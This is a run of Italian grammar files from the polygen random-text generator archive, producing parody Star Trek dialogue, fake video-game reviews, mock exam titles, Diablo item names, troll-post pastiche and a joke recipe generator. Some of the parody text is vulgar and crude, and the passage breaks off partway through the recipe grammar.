fuoco [ora] SEGNO.PI | \ah [si'] [capitano | signor \scott | signor \spock] SEGNO.V WHAT e' stato inventato da (una vecchia signora di | da un gruppo di scienziati di | un'universita' di | un noto inventore di ) ( \leningrado | \mosca | \stalingrado | \kiev ) SEGNO.PE | TUFFO ) EOL; SULU ::= "SULU :"(\attivare velocita' \(warp CIFRA | smodata) SEGNO.PE | \velocita' \(warp CIFRA | smodata) attivata SEGNO.PE | \scudi al CIFRA^CIFRA percento SEGNO.PE | \capitano SEGNO.V i sensori segnalano CIFRA navi ALIENS.F SEGNO.PE | TUFFO ) EOL; UHURA ::= "UHURA :"(\capitano SEGNO.V [i ALIENS.M] ci stanno chiamando SEGNO.PE | \capitano SEGNO.V i ALIENS.M hanno interrotto la comunicazione SEGNO.PE | \{\capitano} SEGNO.PI [come sarebbe a dire] {(ci arrendiamo | autodistruzione | torniamo indietro | --andatevene affanculo)} SEGNO.PI | TUFFO ) EOL; CIFRA ::= "2" | "3" | "4" | "5" | "6" | "7" | "9" ; EOL := ^"\n"^\ ; ALIENS ::= \RANDPL^RANDPL^RANDPL[^ian(M:^i|F:^e)]; BABBLE ::= [de^|dis^][ri^](transmogrifare | allineare | accordare | frequenziare ) WHAT ; WHAT ::= il subspazio | il tubo di jeffreys | il generatore materia^"-"^antimateria | il sensore principale | il generatore phaser | il portasiluri protonici; RANDPL ::= CONS[^VOC][^' ^RANDPL]; CONS ::= -b | -c | d | f | -g | h | +++k | +l | ++n | --p | +q | +r | s | +t | v | +z ; VOC ::= a | e | i | o | u ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | V: ^"," | VT: ^"\""\ | PI: ^"?"\ | PE: ^"!"\ ); DIREZ ::= a destra | a sinistra | in avanti | all'indietro ; TUFFO ::= "[ si " (butta | tuffa | lancia) DIREZ "]" ; polygen-1.0.6.ds2/grm/ita/levissima.grm0000644000175000017500000000437210340417034017251 0ustar enricoenricoI ::= "title: Levissima\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: pubblicita'\n" ^ "audience: alpinisti barbuti\n" ^ "created: 31/10/2004" ; S ::= +++ "Altissima" Purissima Levissima | Altissima "Purissima" Levissima | + Altissima Purissima "Levissima" | -- Altissima Purissima Levissima ; Altissima ::= \ A.(+++++++++1|2|3) ; Purissima ::= \ A.(1|+++++++++2|3) ; Levissima ::= \ ( A.(1|2|+++++++++3) | --- Bottiglia ^ issima ) ; A ::= ( 1 : ( --alt | -amar | beat | +car | san | +++ fi^(g|c)^h | brav | grand | -antich | bianch | ++sant | cald ) | 2 : ( --pur | +poch | nuov | lungh | buon | -dolc | sporch | furb | stran | +giust | -gasat | dur | fort ) | 3 : ( --lev | liet | bell | viv | brev | fredd | largh | lent | +scars | soav | strett | +trist | fresch ) )^issima ; Bottiglia ::= adatt | ambit | astut | acid| banal | carin | cattiv | collaudat | comic| comod | confortevol| cornut | dannat | digeribil | divertent | esatt | lussuos | nervos | tranquill | vendut | gradevol | natural | lontan | maneggevol | feroc | gelid| fedel | giovan | italian| gradit | saporit| limpid | morbid | prezios | tene| particolar | famos | gelos| pelos | pericolos | piacevol| golos | potent | precis | per dirett | proibit| ragionevol| (* *) (* L E V I S S I M A *) (* *) (* dalle sorgenti *) (* di alta quota *) (* *) (* *) pulit | puntual | scorrevol | segret | semplic | simpatic | soddisfatt | soffic | piccol | scomod | seren | silenzios| sofisticat | sottil | spazios | spietat | squisit | sudat | vietat | viscos| util | umid |gentil | veloc | richiest| noios | normal | facil; polygen-1.0.6.ds2/grm/ita/gamesrece.grm0000644000175000017500000002017010340417034017202 0ustar enricoenricoI ::= "title: Il recensore di VideoGiochi\n" ^ "author: Anonimo giocatore <\n" ^ "language: italian\n" ^ "status: no bonus\n" ^ "topic: Vg\n" ^ "audience: Vgfanboy\n" ^ "comment: Quando tutto ebbe inizio esistevano dei recensori, snob, mbriaconi, sempre tristi, ci inondavano con i loro cazzi non richiesti mentre si leggeva un loro articolo e senza mai venira al succo, sono recensori di videogiochi che parlavano di tutto, ma proprio tutto meno che del gioco, che veniva liquidato con due parole, erano un po' snob, riccaccioni, ma alla fine ci siamo cresciuti...\nSe notate il codice sono stato un po' bruto..., mica posso stare un mese a ragionare su su sta grammatica ;) \n" ^ "created: 15/12/2004" ; S ::= VITAPRIVATA . ACQUISIZIONE . AGGTITOLO . "-"TITOLO"-"",". CONOSCENZA"," LIVELLO"," . SUCCESSTYPE . SUCCESS".\nMa"INIZIORECE"," . RECE1"," RECE2 .","ma come sempre","MA . RECE3","MA2"\n\n""Trama""\n\n"TRAMA"\n\nVoto"VOTO"\n\nFINE" ; VITAPRIVATA ::= "La" mia vita e'un cesso"," sono completamente fuso dovrei essere all'universita' ma sono anni che sono fuori corso e nessuno mi vuole bene"," | "La" mia ragazza mi ha lasciato per colpa di questa vita e l'unica cosa che mi e' rimasta e' fare questo mestiere"," mi alieno dal mondo ma in fondo sono felice"," sono meglio di voi e mi piace scriverlo"," | "Risvegliatomi"da una sbronza a base di BEVANDA riesco a capire che ; ACQUISIZIONE ::= comunque bando alle ciance"," proprio or ora SPEDIZIONE | da cinque minuti SPEDIZIONE | poco fa' SPEDIZIONE| da pochi minuti SPEDIZIONE| un oretta fa' SPEDIZIONE' ; BEVANDA ::= porto | whiske | lambrusco ; SPEDIZIONE ::= il postino ha bussato alla porta e mi ha consegnato | mi e"'"arrivato | sono andato a prendere alla posta | uno schiavo mi ha portato |la redazione mi ha spedito| il mio filippino ha ritirato ; AGGTITOLO ::= lo stupendo | il magnifico | the infamous | il rarissimo | il terrorizzante | il magico | il cassico | il conosciutissmo | il consigliatissimo | il galvanizzante | il noiosissimo ma intenso ; TITOLO ::= "Karma" cribbio limited edition versione jap | "Tromb" "Raider" the beginning supino edition | "Suchiokki" litum tram edition | "Mayesky""Driver" zapata edition | "Pippin""Megamix" santana edition | "La" sora "Lella" quanto e bella"," trastevere limited | "SAKUWUCCI" super limited e quando dico limited","dico limited edition ; LIVELLO ::= allora siete dei perdenti | non siete al mio livello |non avete mai preso sul serio il videogioco | cambiate hobby | distruggete le console che avete e fate penitenza ; CONOSCENZA ::= non lo conoscete"?,"io si e' questo mi basta | se non lo conoscete siete completamente out | non lo conoscete"?" e allora che vivete a fare | come non conoscerlo"!"se non lo conoscete | se non lo conoscete potete anche smettere di leggere","come non sapere"!" ; SUCCESSTYPE ::= questo gioco e' stato un successo | ha fatto mambassa | ha saturato il mercato | praticamente si venduto solo quello | ha venduto a valange | si e' venduto un fottio | ha esaurito i magazzini","i venditori e li pescatori | si e' venduto piu' della trippa | li pokemom ie facevano na pippa | lo spezzatino di pesce gatto nonera nulla a confronto | li hanno ristampati a rullo ; SUCCESS ::=in "Burundi"|in "Corsica"|a "Zanzibar" |nelle isole "Salomone" | a "Corcolle"| a "Manduria" e zone limitrofe| a "Guantanamo" | nelle isole "Falkland" ; INIZIORECE ::= passiamo alla recensione |cominciamo a far funziare i miei due neuroni rimasti | iniziamo le danze | diamo fuoco alla polveri| iniziamo a rendervi piu' sapienti grazie alle informazioni che vi vomitero'addosso facendovi sentire anche un po' coglioni ; QUALCOSA ::= profondo|superficiale|slegato dall'oggi| contrario in ogni pixel|decisamente diverso|decisamente ispirato INSPIRATO|contrariamente controverso|delicatemente inconcludente|sicuramente rivoluzionario|ovviamente calcolato ; INSPIRATO ::= alla controcultura giovanile|alla cultura anni 80|alla cultura hippie di "Sapporo"|a quelle serie underground olandese|all tressette mistico "Tibetano"|ai pizzi e lazzi di trastevere|alla festa di noialtri|alla corazzata "Potemkin" | al bidone ducatesco di "Dodo'"|alla nappia di "Inky" ; ROVISTARE ::=nel torbido della sottocultura napoleonica|nel subconscio trito e ritrito| nella linea segnata dal "Prigioniero"|nell'onda lunga di "Evangelion" ; RECE1 ::= "Allora" il gioco in se stesso non deve far pensare a qualcosa di QUALCOSA ma comunque cerca di rovistare ROVISTARE ; RECE2 ::= come non capire gli sforzi SFORZI|si evince dalla fattura del titolo tutta la fatica SFORZI ; SFORZI ::= del programmatore|di tutta l'unita produttiva|del cazzo di sviluppatore|dello staff sviluppatorio|dello sviluppante staffico|della manica de pezzenti|della squisita software house|dell' editore pazzoide ; MA ::= si fanno i conti senza l'oste | si fa il tappeto prima di aver inchiappetato l'orso | si fanno i progetti senza aver parlato con "Flavia Vento" e avergli dato una botta che tanto e meglio che sta zitta|si colgono le margherite senza aver prima seminato merda| si cerca la recensione buona senza prima avermi smazzettato a dovere |si acchiappa il gatto per la coda senza avergli prima dato una mazzata int'a capa|si mette il dito in culo alla tigre e poi la tigre giustamente si incazza","oddio negli ultimi tempi potrebbe anche non incazzarsi","ma probabilente si incazza"," io mi incazzerei ; TORNANDO ::= tornando a bomba|tornando a noi|tornando a parlare di quello per cui sono pagato e poi mi riduco a scrivere na marea di cazzi miei e 4 righe sul gioco ; IO ::= un recensore fuori da comune | uno sfigato senza fine | uno spocchioso che crede di essere quello che non e' ma fa figo pensare di essere sto cazzo | uno stronzo |il migliore su questa terra ludica ; DECIFRARE ::= il fine di tutta l'operazione | lo scopo de st'ammasso de codice | il motivo ultimo di questo inconcludente ghirigori di luci e colori | la matassa di eventi che mi portano a pensare che nell'ultima fumata me so dato via le ultime sinapsi funzionanti, che gia' erano tre | la rimebranza sinottica dell'ultimo "Pascoli" che si intravvede in alcuni passaggi onirici ; MA2 ::= esporro' i miei dubbi nella sviscerazione tecnica | agitero' le mie membra cercando di spiegare soprattutto a me stesso che cazzo sto a di'","tanto appena qualcuno vede la divisione in sezioni pensa che io so abbastanza per fare questo lavoro| buttero li quattro frasi fatte in grafica"/"sonoro"/"trama tanto sta recensione non la legge nessuno e saltano tutti al voto","secondo voi perche' li hanno tolti i voti eh"?" minchioni"," perche' poi ci sentiamo ancora piu' inutili di quelli che siamo","|vi comunichero' le mie conclusioni ammassando sti quattro caratteri pagati in modo che mi si spalanchino i cancelli del gionalista publicista ; RECE3 ::= ","comunque TORNANDO cosa mi e' rimasto dentro del gioco"?" chi puo' dirlo"?"nonostante io sia IO continuo a pensare che qualcosa e' andato storto","infatti non riesco a decifrare DECIFRARE ; MONDO ::= e' finito | e' risorto | sta per finire | e' in guerra | e' sopravvissuto alla guerra | e' morto | e' in pace ; PERS ::= il mitico eroe | il deficente di turno | un cretino clonato | la gnoccona con le curve ma cattiva | un mago potente | un elfo senziente | una pianta intelligente | un guerriero paladino delle genti | un uomo comune |un viandante perfido | un nano cazzuto | un malato immaginario | un soldato disertore ma patriota |un frocione come pochi | un derelitto senza tetto | una derelitta senza una tetta ; PERS2 ::= "Peppe" il ladro e sua cugina "Pina"|tutti e sei i sette nani|lo scorpione cieco e zazzera selvaggia |la banda bassotti d'oriente|"Geppo" detto er tanica e sua sorella | "Kiashan" e il suo cagnone |"Belle" e "Sebastienne" ; MISSIONE ::= la missione della vostra vita | una missione di cui non ve ne po' frega'de meno ma siete pagati| na scampagnata a "Frascati" ma pericolosa ; TRAMA ::="Il" mondo MONDO","tu sei PERS","insieme ai tuoi compagni PERS2 partirete verso MISSIONE ; VOTO ::= 5 | "4--" | 3 e mezz | "6--" | "7--"| "Dimenticalo" | "Dimenticami" | 8 | 2 | "6+-" | "5+" | "10-------------" | "9 quasi"| "Brucialo" | "Spezzalo" | 1 | "Maroooonn!" ; polygen-1.0.6.ds2/grm/ita/recensionivg.grm0000644000175000017500000002016510340417034017746 0ustar enricoenricoI ::= "title: Il recensore di VideoGiochi\n" ^ "author: Anonimo giocatore\n" ^ "language: italian\n" ^ "status: no bonus\n" ^ "topic: Vg\n" ^ "audience: Vgfanboy\n" ^ "comment: Quando tutto ebbe inizio esistevano dei recensori, snob, mbriaconi, sempre tristi, ci inondavano con i loro cazzi non richiesti mentre si leggeva un loro articolo e senza mai venira al succo, sono recensori di videogiochi che parlavano di tutto, ma proprio tutto meno che del gioco, che veniva liquidato con due parole, erano un po' snob, riccaccioni, ma alla fine ci siamo cresciuti...\nSe notate il codice sono stato un po' bruto..., mica posso stare un mese a ragionare su su sta grammatica ;) \n" ^ "created: 15/12/2004" ; S ::= VITAPRIVATA . ACQUISIZIONE . AGGTITOLO . "-"TITOLO"-"",". CONOSCENZA"," LIVELLO"," . SUCCESSTYPE . SUCCESS".\nMa"INIZIORECE"," . RECE1"," RECE2 .","ma come sempre","MA . RECE3","MA2"\n\n""Trama""\n\n"TRAMA"\n\nVoto"VOTO"\n\nFINE" ; VITAPRIVATA ::= "La" mia vita e'un cesso"," sono completamente fuso dovrei essere all'universita' ma sono anni che sono fuori corso e nessuno mi vuole bene"," | "La" mia ragazza mi ha lasciato per colpa di questa vita e l'unica cosa che mi e' rimasta e' fare questo mestiere"," mi alieno dal mondo ma in fondo sono felice"," sono meglio di voi e mi piace scriverlo"," | "Risvegliatomi"da una sbronza a base di BEVANDA riesco a capire che ; ACQUISIZIONE ::= comunque bando alle ciance"," proprio or ora SPEDIZIONE | da cinque minuti SPEDIZIONE | poco fa' SPEDIZIONE| da pochi minuti SPEDIZIONE| un oretta fa' SPEDIZIONE' ; BEVANDA ::= porto | whiske | lambrusco ; SPEDIZIONE ::= il postino ha bussato alla porta e mi ha consegnato | mi e"'"arrivato | sono andato a prendere alla posta | uno schiavo mi ha portato |la redazione mi ha spedito| il mio filippino ha ritirato ; AGGTITOLO ::= lo stupendo | il magnifico | the infamous | il rarissimo | il terrorizzante | il magico | il cassico | il conosciutissmo | il consigliatissimo | il galvanizzante | il noiosissimo ma intenso ; TITOLO ::= "Karma" cribbio limited edition versione jap | "Tromb" "Raider" the beginning supino edition | "Suchiokki" litum tram edition | "Mayesky""Driver" zapata edition | "Pippin""Megamix" santana edition | "La" sora "Lella" quanto e bella"," trastevere limited | "SAKUWUCCI" super limited e quando dico limited","dico limited edition ; LIVELLO ::= allora siete dei perdenti | non siete al mio livello |non avete mai preso sul serio il videogioco | cambiate hobby | distruggete le console che avete e fate penitenza ; CONOSCENZA ::= non lo conoscete"?,"io si e' questo mi basta | se non lo conoscete siete completamente out | non lo conoscete"?" e allora che vivete a fare | come non conoscerlo"!"se non lo conoscete | se non lo conoscete potete anche smettere di leggere","come non sapere"!" ; SUCCESSTYPE ::= questo gioco e' stato un successo | ha fatto mambassa | ha saturato il mercato | praticamente si venduto solo quello | ha venduto a valange | si e' venduto un fottio | ha esaurito i magazzini","i venditori e li pescatori | si e' venduto piu' della trippa | li pokemom ie facevano na pippa | lo spezzatino di pesce gatto nonera nulla a confronto | li hanno ristampati a rullo ; SUCCESS ::=in "Burundi"|in "Corsica"|a "Zanzibar" |nelle isole "Salomone" | a "Corcolle"| a "Manduria" e zone limitrofe| a "Guantanamo" | nelle isole "Falkland" ; INIZIORECE ::= passiamo alla recensione |cominciamo a far funziare i miei due neuroni rimasti | iniziamo le danze | diamo fuoco alla polveri| iniziamo a rendervi piu' sapienti grazie alle informazioni che vi vomitero'addosso facendovi sentire anche un po' coglioni ; QUALCOSA ::= profondo|superficiale|slegato dall'oggi| contrario in ogni pixel|decisamente diverso|decisamente ispirato INSPIRATO|contrariamente controverso|delicatemente inconcludente|sicuramente rivoluzionario|ovviamente calcolato ; INSPIRATO ::= alla controcultura giovanile|alla cultura anni 80|alla cultura hippie di "Sapporo"|a quelle serie underground olandese|all tressette mistico "Tibetano"|ai pizzi e lazzi di trastevere|alla festa di noialtri|alla corazzata "Potemkin" | al bidone ducatesco di "Dodo'"|alla nappia di "Inky" ; ROVISTARE ::=nel torbido della sottocultura napoleonica|nel subconscio trito e ritrito| nella linea segnata dal "Prigioniero"|nell'onda lunga di "Evangelion" ; RECE1 ::= "Allora" il gioco in se stesso non deve far pensare a qualcosa di QUALCOSA ma comunque cerca di rovistare ROVISTARE ; RECE2 ::= come non capire gli sforzi SFORZI|si evince dalla fattura del titolo tutta la fatica SFORZI ; SFORZI ::= del programmatore|di tutta l'unita produttiva|del cazzo di sviluppatore|dello staff sviluppatorio|dello sviluppante staffico|della manica de pezzenti|della squisita software house|dell' editore pazzoide ; MA ::= si fanno i conti senza l'oste | si fa il tappeto prima di aver inchiappetato l'orso | si fanno i progetti senza aver parlato con "Flavia Vento" e avergli dato una botta che tanto e meglio che sta zitta|si colgono le margherite senza aver prima seminato merda| si cerca la recensione buona senza prima avermi smazzettato a dovere |si acchiappa il gatto per la coda senza avergli prima dato una mazzata int'a capa|si mette il dito in culo alla tigre e poi la tigre giustamente si incazza","oddio negli ultimi tempi potrebbe anche non incazzarsi","ma probabilente si incazza"," io mi incazzerei ; TORNANDO ::= tornando a bomba|tornando a noi|tornando a parlare di quello per cui sono pagato e poi mi riduco a scrivere na marea di cazzi miei e 4 righe sul gioco ; IO ::= un recensore fuori da comune | uno sfigato senza fine | uno spocchioso che crede di essere quello che non e' ma fa figo pensare di essere sto cazzo | uno stronzo |il migliore su questa terra ludica ; DECIFRARE ::= il fine di tutta l'operazione | lo scopo de st'ammasso de codice | il motivo ultimo di questo inconcludente ghirigori di luci e colori | la matassa di eventi che mi portano a pensare che nell'ultima fumata me so dato via le ultime sinapsi funzionanti, che gia' erano tre | la rimebranza sinottica dell'ultimo "Pascoli" che si intravvede in alcuni passaggi onirici ; MA2 ::= esporro' i miei dubbi nella sviscerazione tecnica | agitero' le mie membra cercando di spiegare soprattutto a me stesso che cazzo sto a di'","tanto appena qualcuno vede la divisione in sezioni pensa che io so abbastanza per fare questo lavoro| buttero li quattro frasi fatte in grafica"/"sonoro"/"trama tanto sta recensione non la legge nessuno e saltano tutti al voto","secondo voi perche' li hanno tolti i voti eh"?" minchioni"," perche' poi ci sentiamo ancora piu' inutili di quelli che siamo","|vi comunichero' le mie conclusioni ammassando sti quattro caratteri pagati in modo che mi si spalanchino i cancelli del gionalista publicista ; RECE3 ::= ","comunque TORNANDO cosa mi e' rimasto dentro del gioco"?" chi puo' dirlo"?"nonostante io sia IO continuo a pensare che qualcosa e' andato storto","infatti non riesco a decifrare DECIFRARE ; MONDO ::= e' finito | e' risorto | sta per finire | e' in guerra | e' sopravvissuto alla guerra | e' morto | e' in pace ; PERS ::= il mitico eroe | il deficente di turno | un cretino clonato | la gnoccona con le curve ma cattiva | un mago potente | un elfo senziente | una pianta intelligente | un guerriero paladino delle genti | un uomo comune |un viandante perfido | un nano cazzuto | un malato immaginario | un soldato disertore ma patriota |un frocione come pochi | un derelitto senza tetto | una derelitta senza una tetta ; PERS2 ::= "Peppe" il ladro e sua cugina "Pina"|tutti e sei i sette nani|lo scorpione cieco e zazzera selvaggia |la banda bassotti d'oriente|"Geppo" detto er tanica e sua sorella | "Kiashan" e il suo cagnone |"Belle" e "Sebastienne" ; MISSIONE ::= la missione della vostra vita | una missione di cui non ve ne po' frega'de meno ma siete pagati| na scampagnata a "Frascati" ma pericolosa ; TRAMA ::="Il" mondo MONDO","tu sei PERS","insieme ai tuoi compagni PERS2 partirete verso MISSIONE ; VOTO ::= 5 | "4--" | 3 e mezz | "6--" | "7--"| "Dimenticalo" | "Dimenticami" | 8 | 2 | "6+-" | "5+" | "10-------------" | "9 quasi"| "Brucialo" | "Spezzalo" | 1 | "Maroooonn!" ; polygen-1.0.6.ds2/grm/ita/gestionale.grm0000644000175000017500000000516710340417034017412 0ustar enricoenricoI ::= "title: Esami di Ingegneria Gestionale\n" ^ "author: MauroZ <zcode@tiscali.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: Carla in particolare\n" ^ "created: 15/01/2003" ; S ::= ++Esame1 | Esame2 | --Esame3; Esame1 ::= Esame [e Esame]; Esame2 ::= Pre Esame; Esame3 ::= "Materiali" AggettivoMat; Pre ::= "Principi di" | "Laboratorio di" | _; Art ::= M: (C: (S: il | P: i) | V: (S: l'^ | P: gli)) | F: (C: (S: la | P: le) | V: (S: l'^ | P: le)); Ne ::= M: (C: (S: nel | P: nei) | V: (S: nell'^ | P: negli)) | F: (C: (S: nella | P: nelle) | V: (S: nell'^ | P: nelle)); De ::= M: (C: (S: del | P: dei) | V: (S: dell'^ | P: degli)) | F: (C: (S: della | P: delle) | V: (S: dell'^ | P: delle)); Titolo1 ::= ((((Nome Aggettivo).S).(-V|+C)).F | (((Nome Aggettivo).(+P)).(+C)).(M|F) | (((Nome Aggettivo).(P)).(V)).(M)); Titolo2 ::= ((((NomeDe).S).(-V|+C)).F) ((((De Nome Aggettivo).S).(-V|+C)).F | (((De Nome Aggettivo).(+P)).(+C)).(M|F) | (((De Nome Aggettivo).(P)).(V)).(M) | (((De Risorsa [Aggettivo]).(S)).(V)).(M|F)) ; Esame ::= ++ Titolo1 | + Titolo2 | (Titolo1|Titolo2) "per" ((((Art Nome Aggettivo).S).(-V|+C)).F | (((Art Nome Aggettivo).(+P)).(+C)).(M|F) | (((Art Nome Aggettivo).(P)).(V)).(M)) | Carattlist ((((Ne Nome Aggettivo).S).(-V|+C)).F | (((Ne Nome Aggettivo).(+P)).(+C)).(M|F) | (((Ne Nome Aggettivo).(P)).(V)).(M)) | - Carattlist ((((Ne NomeDe).S).(-V|+C)).F) ((((De Nome Aggettivo).S).(-V|+C)).F | (((De Nome Aggettivo).(+P)).(+C)).(M|F) | (((De Nome Aggettivo).(P)).(V)).(M)) ; Nome ::= M: (V: (P: "Impianti" | "Automatismi") | C: (P: "Sistemi" | "Servizi" | "Robot" | "Controlli")) | F: (V: (S: "Informazione" | "Economia" ) | C: (S: ("Logistica" | "Meccatronica" | "Gestione") | P: ("Macchine" | "Costruzioni") )) ; NomeDe ::= F: (V: (S: "Organizzazione") | C: (S: "Gestione" | "Produzione" | "Progettazione" | "Costruzione" )) ; Caratt ::= ("Qualita'" | "Sicurezza" | "Affidabilita'" | "Accuratezza" | "Controllo") ; Carattlist ::= Caratt [(^"," Caratt e Caratt) | (e Caratt)]; Aggettivo ::= (("Automatic" | "Impiantistic" | "Robotic" | "Econonomic" | "Logistic") ^(F: (S: a | P: he) | M: (S: o | P: i))) | (("Integrat" | "Operativ" | "Informativ" | "Distributiv" | "Costruttiv" | "Produttiv") ^(F: (S: a | P: e) | M: (S: o | P: i))) | (("Aziendal" | "Gestional" | "Industrial") ^(S: e | P: i)) ; AggettivoMat ::= "Metallici" | "Duttili" | "Legnosi"; Risorsa ::= M: (V: (S: "Ambiente") ) | F: (V: (S: "Energia" |"Industria") ) ; polygen-1.0.6.ds2/grm/ita/diablo.grm0000644000175000017500000000637210340417034016511 0ustar enricoenrico I ::= "title: Generatore di"(armi | armature | scudi | cazzate)^" di Diablo: \n" ^ "author: Mont\n" ^ "language: Italian\n" ^ "status:" ("Work in progress" | "Ce sto a lavora'") "\n" ^ "topic: Film\n" ^ "audience: Cesar" (puzza|odora|emana un afrore) "di" (merda|sterco|concime|culo) "\n" ^ "comment: Montini e'" (il migliore | il piu' (bello | grande | figo | intelligente)) "\n" ^ "created: 5/4/2005 " ; S ::= "\n"(Arma.M (( Agg.M ) | (Agg.M Suff1 ) | (Agg.M Suff2) | ( Suff1 Suff2) | Suff1 | Suff2)| Arma.F (( Agg.F ) | (Agg.F Suff1 ) | (Agg.F Suff2) | ( Suff1 Suff2) | Suff1 | Suff2)| Arma.M (( Agg.M ) | (Agg.M Suff1 ) | (Agg.M Suff2) | ( Suff1 Suff2) | Suff1 | Suff2)) "\n" (("\n"(("+"|"-") Num[^Num] (^""| "%" )Att))+)+ (("\n"(("+"|"-") Num[^Num] (^""| "%" )Att))+)+ ; Num ::= (--0|1|2|3|4|5|6|7|8|9) ; Att ::= a (^lla forza | ^lla destrezza | ^ll'energia | ^lla vitalita' | ^lla sfiga | ^lla puzza | tutte le abilita' | scovino | ^l vomito | ^l danno da Tipo | ^l danno | ^ll'attacco | ^lla difesa | ^lla resistenza a (^lla Tipo.F|^l Tipo.M) | ^i calli | ^lla bolletta del C); Tipo ::= (M:(fuoco | ghiaccio | veleno | fulmine | pus | cesar | sporco | sputo )|F:( patatona| merda) ); C ::= ^"l'acqua" | "gas" | ^"la luce"; Arma ::= M:("Flagello" | Martello | Pugnale | Bastone | Scudo | Elmo)| F:(Spada | Mazza | Lancia | Ascia | Armatura) ; Martello ::= ("Martello" | "Maglio") ( + _ |"da guerra"); Pugnale ::= ("Pugnale" | "Katar" | "Pugnale malese"); Bastone ::= ("Bastone" ("da guerra" | "nodoso" | "da battaglia"))| "Bastone"; Scudo ::= "Scudo" (Dim.M | del nibbio | della torre | gotico); Elmo ::= "Cappello" | "Elmo" | "Copricapo" | "Visiera" ; Spada ::= "Spada" ("bastarda" | "a due mani" | "gigante" | Lun.F)|"Katana"; Mazza ::= "Mazza chiodata" | "Mazza" | "Clava" ; Lancia ::= "Lancia" | "Picca" | "Alabarda" ; Ascia ::= "Ascia" (Dim.F | "a due mani") ; Armatura ::= "Armatura" ("gotica" | "di cuoio" | "di piastre" | "di maglie") ; Dim ::= (piccol | medi)^(M:o | F:a)|grande; Lun ::= (cort | lung)^(M:o | F:a); Agg ::= (ross | sanguinari | azzurr | velenos | schifos | pover | legger | violent | antic | settic | luminos ) ^(M:o | F:a) | inutile | sbocchevole | gigante | palese | demente | notevole | cortese ; Suff1 ::= del Suff | -----"di Gars"; Suff2 ::= del Suff; Suff ::= ghoul | lupo | ^lo storpio | ^la morte | ^la guerra | morto | ^le terga | ^l'acqua | fuoco | ghiaccio | ^la luce | guerriero | cavaliere | monello | ^l'aquila | tonno | ^la forza | ^la velocita' | ^le arpie | cazzo | kamasutra | cinghiale | bollito | ^la lebbra | ^ll'oscenita' ; polygen-1.0.6.ds2/grm/ita/trolleggi.grm0000644000175000017500000000672210340417034017246 0ustar enricoenricoI ::= "title: Trolleggi\n" ^ "author: Zcode \n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: gnosi\n" ^ "audience: ICRB\n" ^ "created: 04/11/2003" ; S ::= Frase ; Frase ::= +++(Atom1 Comma Frase) | ---Atom1; Comma ::= +^"..." | ^"," | ^", ma" | ^", pero'" | ^", "Domanda | ":) " | "\n"; Uno ::= "UNO" ["TUTTO"]; Essere ::= +(\[esistente|oceano] Uno [che e' \essere]) | (\(essere|esistente) [che e' Uno]) | oceano; Se ::= ("Se'"| "Io")[inconsapevole|illuso] che Altro [(invece|ma|mentre) e' Goccia]; Goccia ::= [piccola](parte|goccia|particella|componente)[minuscola|infinitesimale] dell' Essere; Altro ::= ha perso la sua giusta dimensione | si illude di essere altro | si fa altro per vanita' | si separa credendosi altro [dall' Essere]| si crede oceano | si crede l'UNO lui individualmente | si attacca a cio' che e' altro [dall' Essere]| ha paura di chi cammina|e' consapevole | si crede migliore | si stacca da un contesto unitario | rinuncia all'esistenza per orgoglio; Domanda ::= (illusione o realta' | vuoi esserci o non esserci come Goccia | vuoi goccia | cosa puo' essere il se' individuale | allora cosa e' il se' consapevole ) ^"?"; Atom1 ::= so che la consapevolezza ti fa soffrire | non preoccuparti se ritorni in te sarai in pace | ritorna nell'^Essere e accetterai senza soffrire piu' | ora vado a farmi una nuotata in un altro "NG" | ciao goccia illusa di essere l'^Essere | ricorda che senza di te l'^Essere c'e' ugualmente | sta a te | io non sono l'^Essere"..."solo una goccia di esso | non ne sei consapevole | e' solo il tuo Se | ti illudi di essere altro | trolleggi per difenderti da cio' che ti spaventa | ti spaventa tantissimo sapere di non essere altro da cio' che sei | ti fai altro per vanita'| ne' niente ne' tutto sei | ti fai altro perche' attaccato alla vanita' del tuo Se | tu da goccia invece sei attaccato al tuo Se | cosi' attaccato che ti dividi dal contesto unitario | te ne separi credendoti altro | in realta' sei solo una Goccia | la prova del tuo tormento e' nel tuo non riuscire a voler prevalere su una che ti dice che non sei altro da cio' che sei | tu che ti credi altro sei da questo tormentato diventando goccia che si crede oceano | guarda bene che l'agitato per questo sei tu | non c'e' un mio post in cui non attacchi per deridere cio' che ti spaventa | sei attaccato alla vanita' perche' illuso di essere altro | altro dall'^Essere non c'e' | per vanita'^"..."solo per vanita' | chi non conosce se stesso e' quel nulla che da esso si separa | e' solo essenza staccata dal suo contesto naturale ed unitario | infatti sei tormentato | ti separi non solo da cio' che sei credendoti altro^"," ma da cio' che e' il contesto unitario che e' l'^Essere | hai paura di chi ha differenza di te | tu dicendoti nulla ti fai altro per crederti altro da cio' che sei e cosi' ti credi migliore | non puoi essere altro da cio' che sei quale parte infinitesmima del \tutto | che tu non ne sia consapevole non conta^"," perche' altro da cio' che sei non potrai essere se non per attaccamento alla vanita' | mi son chiesta spesso chi sono^"..." chi siamo | se l'individuo fosse il nulla^".." nulla esisterebbe^"," perche' l'Essere non puo' essere composto di nulla | se l'individuo fosse tutto cio' che e' esistente^"," non sarebbe piu' individuo; polygen-1.0.6.ds2/grm/ita/gourmet.grm0000644000175000017500000005402510340417034016737 0ustar enricoenricoI ::= "title: Gourmet\n" ^ "author: N-Joy <claudio@arpaweb.tv> & DHS\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: le migliori ricette per una cucina leggera, raffinata e sempre diversa\n" ^ "disclaim: seguitele a vostro rischio e pericolo!\n" ^ "created: 10/09/2004" ; S ::= ( \NOME"\n\n..."^COMMENTO"\n\nIngredienti:\n\n" ^INGREDIENTE ^INGREDIENTE ^INGRFINALI"\n\n"^\VINO"\n\n" ) ; (*S ::= (NOME);*) NOME:= ( PREDISINGF [AGGETTIVIFEMSING] di SECONDAPARTE |PREDISINGM [AGGETTIVIMASCHSING] di SECONDAPARTE |PREDIPLURF [AGGETTIVIFEMPLUR] di SECONDAPARTE |PREDIPLURM [AGGETTIVIMASCHPLUR] di SECONDAPARTE |PREALSINGF [AGGETTIVIFEMSING] SECONDAPARTEAL |PREALSINGM [AGGETTIVIMASCHSING] SECONDAPARTEAL |PREALPLURM [AGGETTIVIMASCHPLUR] SECONDAPARTEAL 